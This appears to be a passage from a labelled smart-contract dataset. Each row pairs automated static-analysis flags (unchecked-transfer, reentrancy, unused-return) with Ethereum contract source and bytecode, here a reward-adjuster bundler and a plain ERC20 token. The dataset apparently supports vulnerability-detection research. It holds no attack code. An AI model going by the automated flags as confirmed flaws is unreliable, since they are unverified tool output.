{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,082
0x7f55e74c25647c100256d87629dee379d68bdcde
/** *Submitted for verification at Etherscan.io on 2021-11-10 */ pragma solidity 0.6.7; abstract contract StructLike { function val(uint256 _id) virtual public view returns (uint256); } /** * @title LinkedList (Structured Link List) * @author Vittorio Minacori (https://github.com/vittominacori) * @dev A utility library for using sorted linked list data structures in your Solidity project. */ library LinkedList { uint256 private constant NULL = 0; uint256 private constant HEAD = 0; bool private constant PREV = false; bool private constant NEXT = true; struct List { mapping(uint256 => mapping(bool => uint256)) list; } /** * @dev Checks if the list exists * @param self stored linked list from contract * @return bool true if list exists, false otherwise */ function isList(List storage self) internal view returns (bool) { // if the head nodes previous or next pointers both point to itself, then there are no items in the list if (self.list[HEAD][PREV] != HEAD || self.list[HEAD][NEXT] != HEAD) { return true; } else { return false; } } /** * @dev Checks if the node exists * @param self stored linked list from contract * @param _node a node to search for * @return bool true if node exists, false otherwise */ function isNode(List storage self, uint256 _node) internal view returns (bool) { if (self.list[_node][PREV] == HEAD && self.list[_node][NEXT] == HEAD) { if (self.list[HEAD][NEXT] == _node) { return true; } else { return false; } } else { return true; } } /** * @dev Returns the number of elements in the list * @param self stored linked list from contract * @return uint256 */ function range(List storage self) internal view returns (uint256) { uint256 i; uint256 num; (, i) = adj(self, HEAD, NEXT); while (i != HEAD) { (, i) = adj(self, i, NEXT); num++; } return num; } /** * @dev Returns the links of a node as a tuple * @param self stored linked list from contract * @param _node id of the node to get * @return bool, uint256, uint256 true if node exists or false otherwise, previous node, next node */ function node(List storage self, uint256 _node) internal view returns (bool, uint256, uint256) { if (!isNode(self, _node)) { return (false, 0, 0); } else { return (true, self.list[_node][PREV], self.list[_node][NEXT]); } } /** * @dev Returns the link of a node `_node` in direction `_direction`. * @param self stored linked list from contract * @param _node id of the node to step from * @param _direction direction to step in * @return bool, uint256 true if node exists or false otherwise, node in _direction */ function adj(List storage self, uint256 _node, bool _direction) internal view returns (bool, uint256) { if (!isNode(self, _node)) { return (false, 0); } else { return (true, self.list[_node][_direction]); } } /** * @dev Returns the link of a node `_node` in direction `NEXT`. * @param self stored linked list from contract * @param _node id of the node to step from * @return bool, uint256 true if node exists or false otherwise, next node */ function next(List storage self, uint256 _node) internal view returns (bool, uint256) { return adj(self, _node, NEXT); } /** * @dev Returns the link of a node `_node` in direction `PREV`. * @param self stored linked list from contract * @param _node id of the node to step from * @return bool, uint256 true if node exists or false otherwise, previous node */ function prev(List storage self, uint256 _node) internal view returns (bool, uint256) { return adj(self, _node, PREV); } /** * @dev Can be used before `insert` to build an ordered list. * @dev Get the node and then `back` or `face` basing on your list order. * @dev If you want to order basing on other than `structure.val()` override this function * @param self stored linked list from contract * @param _struct the structure instance * @param _val value to seek * @return uint256 next node with a value less than StructLike(_struct).val(next_) */ function sort(List storage self, address _struct, uint256 _val) internal view returns (uint256) { if (range(self) == 0) { return 0; } bool exists; uint256 next_; (exists, next_) = adj(self, HEAD, NEXT); while ((next_ != 0) && ((_val < StructLike(_struct).val(next_)) != NEXT)) { next_ = self.list[next_][NEXT]; } return next_; } /** * @dev Creates a bidirectional link between two nodes on direction `_direction` * @param self stored linked list from contract * @param _node first node for linking * @param _link node to link to in the _direction */ function form(List storage self, uint256 _node, uint256 _link, bool _dir) internal { self.list[_link][!_dir] = _node; self.list[_node][_dir] = _link; } /** * @dev Insert node `_new` beside existing node `_node` in direction `_direction`. * @param self stored linked list from contract * @param _node existing node * @param _new new node to insert * @param _direction direction to insert node in * @return bool true if success, false otherwise */ function insert(List storage self, uint256 _node, uint256 _new, bool _direction) internal returns (bool) { if (!isNode(self, _new) && isNode(self, _node)) { uint256 c = self.list[_node][_direction]; form(self, _node, _new, _direction); form(self, _new, c, _direction); return true; } else { return false; } } /** * @dev Insert node `_new` beside existing node `_node` in direction `NEXT`. * @param self stored linked list from contract * @param _node existing node * @param _new new node to insert * @return bool true if success, false otherwise */ function face(List storage self, uint256 _node, uint256 _new) internal returns (bool) { return insert(self, _node, _new, NEXT); } /** * @dev Insert node `_new` beside existing node `_node` in direction `PREV`. * @param self stored linked list from contract * @param _node existing node * @param _new new node to insert * @return bool true if success, false otherwise */ function back(List storage self, uint256 _node, uint256 _new) internal returns (bool) { return insert(self, _node, _new, PREV); } /** * @dev Removes an entry from the linked list * @param self stored linked list from contract * @param _node node to remove from the list * @return uint256 the removed node */ function del(List storage self, uint256 _node) internal returns (uint256) { if ((_node == NULL) || (!isNode(self, _node))) { return 0; } form(self, self.list[_node][PREV], self.list[_node][NEXT], NEXT); delete self.list[_node][PREV]; delete self.list[_node][NEXT]; return _node; } /** * @dev Pushes an entry to the head or tail of the linked list * @param self stored linked list from contract * @param _node new entry to push to the head * @param _direction push to the head (NEXT) or tail (PREV) * @return bool true if success, false otherwise */ function push(List storage self, uint256 _node, bool _direction) internal returns (bool) { return insert(self, HEAD, _node, _direction); } /** * @dev Pops the first entry from the linked list * @param self stored linked list from contract * @param _direction pop from the head (NEXT) or the tail (PREV) * @return uint256 the removed node */ function pop(List storage self, bool _direction) internal returns (uint256) { bool exists; uint256 adj_; (exists, adj_) = adj(self, HEAD, _direction); return del(self, adj_); } } abstract contract RewardAdjusterLike { function recomputeRewards(address, bytes4) external virtual; } contract RewardAdjusterBundler { using LinkedList for LinkedList.List; // --- Auth --- mapping (address => uint256) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "RewardAdjusterBundler/account-not-authorized"); _; } // --- Variables --- // Number of funded functions ever added uint256 public fundedFunctionNonce; // Max number of functions that can be in the list uint256 public maxFunctions; // Latest funded function index in the list uint256 public latestFundedFunction; // Mapping with functions that were already added mapping(address => mapping(bytes4 => uint256)) public addedFunction; // Data about each funded function mapping(uint256 => FundedFunction) public fundedFunctions; // Linked list with functions offering rewards to be called LinkedList.List internal fundedFunctionsList; // The fixed reward adjuster RewardAdjusterLike public fixedRewardAdjuster; // The min + max reward adjuster RewardAdjusterLike public minMaxRewardAdjuster; // --- Structs --- struct FundedFunction { uint256 adjusterType; bytes4 functionName; address receiverContract; } // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event FailedRecomputeReward(uint256 adjusterType, address receiverContract, bytes4 functionName); event AddFundedFunction( uint256 latestFundedFunction, uint256 adjusterType, bytes4 functionName, address receiverContract ); event RemoveFundedFunction(uint256 functionPosition); event ModifyParameters(bytes32 parameter, address val); event ModifyParameters(bytes32 actionType, uint256 functionPosition, uint256 adjusterType, bytes4 functionName, address receiverContract); constructor(address _fixedRewardAdjuster, address _minMaxRewardAdjuster, uint256 _maxFunctions) public { require(_maxFunctions > 0, "RewardAdjusterBundler/null-max-functions"); require(_fixedRewardAdjuster != address(0), "RewardAdjusterBundler/null-fixed-reward-adjuster"); require(_minMaxRewardAdjuster != address(0), "RewardAdjusterBundler/null-minmax-reward-adjuster"); authorizedAccounts[msg.sender] = 1; maxFunctions = _maxFunctions; fixedRewardAdjuster = RewardAdjusterLike(_fixedRewardAdjuster); minMaxRewardAdjuster = RewardAdjusterLike(_minMaxRewardAdjuster); emit AddAuthorization(msg.sender); } // --- Boolean Logic --- function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } // --- Math --- function addition(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x + y; require(z >= x, "RewardAdjusterBundler/add-uint-uint-overflow"); } function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "RewardAdjusterBundler/sub-uint-uint-underflow"); } // --- Administration --- /* * @notice Modify address params * @param parameter The name of the parameter to update * @param val The new address for the parameter */ function modifyParameters(bytes32 parameter, address val) external isAuthorized { require(val != address(0), "RewardAdjusterBundler/null-val"); if (parameter == "fixedRewardAdjuster") { fixedRewardAdjuster = RewardAdjusterLike(val); } else if (parameter == "minMaxRewardAdjuster") { minMaxRewardAdjuster = RewardAdjusterLike(val); } else revert("RewardAdjusterBundler/modify-unrecognized-param"); emit ModifyParameters(parameter, val); } /* * @notice Add or remove a funded function * @param actionType The type of action to execute * @param functionPosition The position of the funded function in fundedFunctions * @param adjusterType The adjuster contract to include for the funded function * @param functionName The signature of the function that gets funded * @param receiverContract The contract hosting the funded function */ function modifyParameters(bytes32 actionType, uint256 functionPosition, uint256 adjusterType, bytes4 functionName, address receiverContract) external isAuthorized { if (actionType == "addFunction") { addFundedFunction(adjusterType, functionName, receiverContract); } else if (actionType == "removeFunction") { removeFundedFunction(functionPosition); } else revert("RewardAdjusterBundler/modify-unrecognized-param"); emit ModifyParameters(actionType, functionPosition, adjusterType, functionName, receiverContract); } // --- Internal Logic --- /* * @notice Add a funded function * @param adjusterType The type of adjuster that recomputes the rewards offered by this function * @param functionName The name of the function offering rewards * @param receiverContract Contract that has the funded function */ function addFundedFunction(uint256 adjusterType, bytes4 functionName, address receiverContract) internal { require(receiverContract != address(0), "RewardAdjusterBundler/null-receiver-contract"); require(adjusterType <= 1, "RewardAdjusterBundler/invalid-adjuster-type"); require(addedFunction[receiverContract][functionName] == 0, "RewardAdjusterBundler/function-already-added"); require(fundedFunctionsAmount() < maxFunctions, "RewardAdjusterBundler/function-limit-reached"); addedFunction[receiverContract][functionName] = 1; fundedFunctionNonce = addition(fundedFunctionNonce, 1); latestFundedFunction = fundedFunctionNonce; fundedFunctions[fundedFunctionNonce] = FundedFunction(adjusterType, functionName, receiverContract); fundedFunctionsList.push(latestFundedFunction, false); emit AddFundedFunction( latestFundedFunction, adjusterType, functionName, receiverContract ); } /* * @notice Remove a funded function * @param functionPosition The position of the funded function in fundedFunctions */ function removeFundedFunction(uint256 functionPosition) internal { require(both(functionPosition <= latestFundedFunction, functionPosition > 0), "RewardAdjusterBundler/invalid-position"); FundedFunction memory fundedFunction = fundedFunctions[functionPosition]; require(addedFunction[fundedFunction.receiverContract][fundedFunction.functionName] == 1, "RewardAdjusterBundler/function-not-added"); delete(addedFunction[fundedFunction.receiverContract][fundedFunction.functionName]); if (functionPosition == latestFundedFunction) { (, uint256 prevReceiver) = fundedFunctionsList.prev(latestFundedFunction); latestFundedFunction = prevReceiver; } fundedFunctionsList.del(functionPosition); delete(fundedFunctions[functionPosition]); emit RemoveFundedFunction(functionPosition); } // --- Core Logic --- /* * @param Recopute all system coin rewards for all funded functions included in this contract */ function recomputeAllRewards() external { // Start looping from the latest funded function uint256 currentFundedFunction = latestFundedFunction; FundedFunction memory fundedFunction; // While we still haven't gone through the entire list while (currentFundedFunction > 0) { fundedFunction = fundedFunctions[currentFundedFunction]; if (fundedFunction.adjusterType == 0) { try fixedRewardAdjuster.recomputeRewards(fundedFunction.receiverContract, fundedFunction.functionName) {} catch(bytes memory /* revertReason */) { emit FailedRecomputeReward(fundedFunction.adjusterType, fundedFunction.receiverContract, fundedFunction.functionName); } } else { try minMaxRewardAdjuster.recomputeRewards(fundedFunction.receiverContract, fundedFunction.functionName) {} catch(bytes memory /* revertReason */) { emit FailedRecomputeReward(fundedFunction.adjusterType, fundedFunction.receiverContract, fundedFunction.functionName); } } // Continue looping (, currentFundedFunction) = fundedFunctionsList.prev(currentFundedFunction); } } // --- Getters --- /** * @notice Get the secondary tax receiver list length */ function fundedFunctionsAmount() public view returns (uint256) { return fundedFunctionsList.range(); } /** * @notice Check if a funded function index is in the list */ function isFundedFunction(uint256 _fundedFunction) public view returns (bool) { if (_fundedFunction == 0) return false; return fundedFunctionsList.isNode(_fundedFunction); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806394f3f81d11610097578063ba6b5ad711610066578063ba6b5ad7146102c0578063ce287f4d146102c8578063d2ffab1c146102ec578063d5c82ff1146102f4576100f5565b806394f3f81d146102825780639e1bf58b146102a8578063aa022b64146102b0578063ae23e8e7146102b8576100f5565b806335b28153116100d357806335b28153146101ad57806361cc8467146101d35780636614f01014610209578063801170b214610235576100f5565b806318d0f00e146100fa5780631e44508c1461012b57806324ba588414610175575b600080fd5b6101176004803603602081101561011057600080fd5b50356102fc565b604080519115158252519081900360200190f35b610173600480360360a081101561014157600080fd5b5080359060208101359060408101359060608101356001600160e01b03191690608001356001600160a01b0316610324565b005b61019b6004803603602081101561018b57600080fd5b50356001600160a01b0316610457565b60408051918252519081900360200190f35b610173600480360360208110156101c357600080fd5b50356001600160a01b0316610469565b61019b600480360360408110156101e957600080fd5b5080356001600160a01b031690602001356001600160e01b031916610509565b6101736004803603604081101561021f57600080fd5b50803590602001356001600160a01b0316610526565b6102526004803603602081101561024b57600080fd5b503561068f565b604080519384526001600160e01b031990921660208401526001600160a01b031682820152519081900360600190f35b6101736004803603602081101561029857600080fd5b50356001600160a01b03166106bf565b61019b61075e565b61019b61076f565b610173610775565b61019b610a15565b6102d0610a1b565b604080516001600160a01b039092168252519081900360200190f35b61019b610a2a565b6102d0610a30565b60008161030b5750600061031f565b61031c60068363ffffffff610a3f16565b90505b919050565b336000908152602081905260409020546001146103725760405162461bcd60e51b815260040180806020018281038252602c815260200180611243602c913960400191505060405180910390fd5b846a30b232233ab731ba34b7b760a91b141561039857610393838383610ab9565b6103f1565b846d3932b6b7bb32a33ab731ba34b7b760911b14156103ba5761039384610d23565b60405162461bcd60e51b815260040180806020018281038252602f815260200180611214602f913960400191505060405180910390fd5b60408051868152602081018690528082018590526001600160e01b0319841660608201526001600160a01b038316608082015290517f26a69f3d092299268bf5c1a1c8d093d93e6099e80d06a413d09d1ff23055bc869181900360a00190a15050505050565b60006020819052908152604090205481565b336000908152602081905260409020546001146104b75760405162461bcd60e51b815260040180806020018281038252602c815260200180611243602c913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b600460209081526000928352604080842090915290825290205481565b336000908152602081905260409020546001146105745760405162461bcd60e51b815260040180806020018281038252602c815260200180611243602c913960400191505060405180910390fd5b6001600160a01b0381166105cf576040805162461bcd60e51b815260206004820152601e60248201527f52657761726441646a757374657242756e646c65722f6e756c6c2d76616c0000604482015290519081900360640190fd5b81723334bc32b22932bbb0b93220b2353ab9ba32b960691b141561060d57600780546001600160a01b0319166001600160a01b038316179055610648565b817336b4b726b0bc2932bbb0b93220b2353ab9ba32b960611b14156103ba57600880546001600160a01b0319166001600160a01b0383161790555b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b6005602052600090815260409020805460019091015460e081901b9064010000000090046001600160a01b031683565b3360009081526020819052604090205460011461070d5760405162461bcd60e51b815260040180806020018281038252602c815260200180611243602c913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b600061076a6006610ee7565b905090565b60035481565b6003546107806110f5565b8115610a1157506000818152600560209081526040918290208251606081018452815480825260019092015460e081901b6001600160e01b031916938201939093526401000000009092046001600160a01b031692820192909252906108ee5760075460408083015160208401518251630d8c946960e31b81526001600160a01b0392831660048201526001600160e01b031990911660248201529151921691636c64a3489160448082019260009290919082900301818387803b15801561084757600080fd5b505af1925050508015610858575060015b6108e9573d808015610886576040519150601f19603f3d011682016040523d82523d6000602084013e61088b565b606091505b50815160408084015160208086015183519485526001600160a01b03909216908401526001600160e01b03191682820152517f48635f592979708dae2e1be0e8496983a5438ff25cd3e1900fd5e61f75743bdf9181900360600190a1505b6109f7565b60085460408083015160208401518251630d8c946960e31b81526001600160a01b0392831660048201526001600160e01b031990911660248201529151921691636c64a3489160448082019260009290919082900301818387803b15801561095557600080fd5b505af1925050508015610966575060015b6109f7573d808015610994576040519150601f19603f3d011682016040523d82523d6000602084013e610999565b606091505b50815160408084015160208086015183519485526001600160a01b03909216908401526001600160e01b03191682820152517f48635f592979708dae2e1be0e8496983a5438ff25cd3e1900fd5e61f75743bdf9181900360600190a1505b610a0860068363ffffffff610f2116565b92506107809050565b5050565b60025481565b6008546001600160a01b031681565b60015481565b6007546001600160a01b031681565b600081815260208381526040808320838052909152812054158015610a7a575060008281526020848152604080832060018452909152902054155b15610aaf5760008080526020848152604080832060018452909152902054821415610aa757506001610ab3565b506000610ab3565b5060015b92915050565b6001600160a01b038116610afe5760405162461bcd60e51b815260040180806020018281038252602c81526020018061116a602c913960400191505060405180910390fd5b6001831115610b3e5760405162461bcd60e51b815260040180806020018281038252602b81526020018061126f602b913960400191505060405180910390fd5b6001600160a01b03811660009081526004602090815260408083206001600160e01b03198616845290915290205415610ba85760405162461bcd60e51b815260040180806020018281038252602c8152602001806111c2602c913960400191505060405180910390fd5b600254610bb361075e565b10610bef5760405162461bcd60e51b815260040180806020018281038252602c815260200180611196602c913960400191505060405180910390fd5b6001600160a01b03811660009081526004602090815260408083206001600160e01b03198616845290915290206001908190558054610c2d91610f3b565b60018181556003828155604080516060810182528781526001600160e01b0319871660208083019182526001600160a01b0380891684860190815260009889526005909252938720925183559051919094018054945190921664010000000002640100000000600160c01b031960e09290921c63ffffffff1990951694909417169290921790915554610cc39160069190610f7d565b5060035460408051918252602082018590526001600160e01b03198416828201526001600160a01b0383166060830152517f5cb43987604dba07bfde199cf94d489c1376d5e3a5e00ab54975cc3dc86d5a429181900360800190a1505050565b610d3560035482111560008311610f94565b610d705760405162461bcd60e51b81526004018080602001828103825260268152602001806111ee6026913960400191505060405180910390fd5b610d786110f5565b50600081815260056020908152604080832081516060810183528154815260019182015460e081901b6001600160e01b03199081168387019081526401000000009092046001600160a01b03168386018190528752600486528487209151168652909352922054909114610e1d5760405162461bcd60e51b81526004018080602001828103825260288152602001806111166028913960400191505060405180910390fd5b6040808201516001600160a01b0316600090815260046020908152828220818501516001600160e01b0319168352905290812055600354821415610e79576000610e736003546006610f2190919063ffffffff16565b60035550505b610e8a60068363ffffffff610f9816565b506000828152600560209081526040808320928355600190920180546001600160c01b0319169055815184815291517f4eafa8d8942105939d854aa9de98958b30a93c2f62e18d14d178848384042d309281900390910190a15050565b6000806000610ef98460006001611016565b9250505b8115610f1a57610f0f84836001611016565b925050600101610efd565b9392505050565b600080610f3084846000611016565b915091509250929050565b81810182811015610ab35760405162461bcd60e51b815260040180806020018281038252602c81526020018061113e602c913960400191505060405180910390fd5b6000610f8c846000858561105a565b949350505050565b1690565b6000811580610fae5750610fac8383610a3f565b155b15610fbb57506000610ab3565b6000828152602084815260408083208380529091528082205460018084529190922054610fec9286929091906110c4565b50600081815260209283526040808220828052909352828120819055600181529182209190915590565b6000806110238585610a3f565b61103257506000905080611052565b505060008281526020848152604080832084151584529091529020546001905b935093915050565b60006110668584610a3f565b15801561107857506110788585610a3f565b156110b95760008481526020868152604080832085151584529091529020546110a3868686866110c4565b6110af868583866110c4565b6001915050610f8c565b506000949350505050565b6000828152602085815260408083209315808452938252808320869055948252948552838120911581529352912055565b60408051606081018252600080825260208201819052918101919091529056fe52657761726441646a757374657242756e646c65722f66756e6374696f6e2d6e6f742d616464656452657761726441646a757374657242756e646c65722f6164642d75696e742d75696e742d6f766572666c6f7752657761726441646a757374657242756e646c65722f6e756c6c2d72656365697665722d636f6e747261637452657761726441646a757374657242756e646c65722f66756e6374696f6e2d6c696d69742d7265616368656452657761726441646a757374657242756e646c65722f66756e6374696f6e2d616c72656164792d616464656452657761726441646a757374657242756e646c65722f696e76616c69642d706f736974696f6e52657761726441646a757374657242756e646c65722f6d6f646966792d756e7265636f676e697a65642d706172616d52657761726441646a757374657242756e646c65722f6163636f756e742d6e6f742d617574686f72697a656452657761726441646a757374657242756e646c65722f696e76616c69642d61646a75737465722d74797065a26469706673582212203e1878df53a5b42b8aefaf6fdeb3cd3a50bced783124f5986ffef0c608cb846d64736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,083
0xa256b0cd12ddfee9d543bc5c37681d1ed03fddac
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract SelfPaid is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address owner1=0x92F7990dD60cfC81C05963130ce6882d23368Bb4; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = 'Self Paid Protocol'; _symbol = 'SPD'; _totalSupply=1400000 *(10**decimals()); _balances[owner1]=_totalSupply; emit Transfer(address(0),owner1,_totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ /* function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ /* function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c391906107e1565b60405180910390f35b6100df6100da3660046107b8565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f36600461077d565b61026e565b604051601281526020016100c3565b6100df6101313660046107b8565b610324565b6100f361014436600461072a565b6001600160a01b031660009081526020819052604090205490565b6100b661035b565b6100df6101753660046107b8565b61036a565b6100df6101883660046107b8565b610405565b6100f361019b36600461074b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101d590610863565b80601f016020809104026020016040519081016040528092919081815260200182805461020190610863565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b6000610265338484610412565b50600192915050565b600061027b848484610536565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103055760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61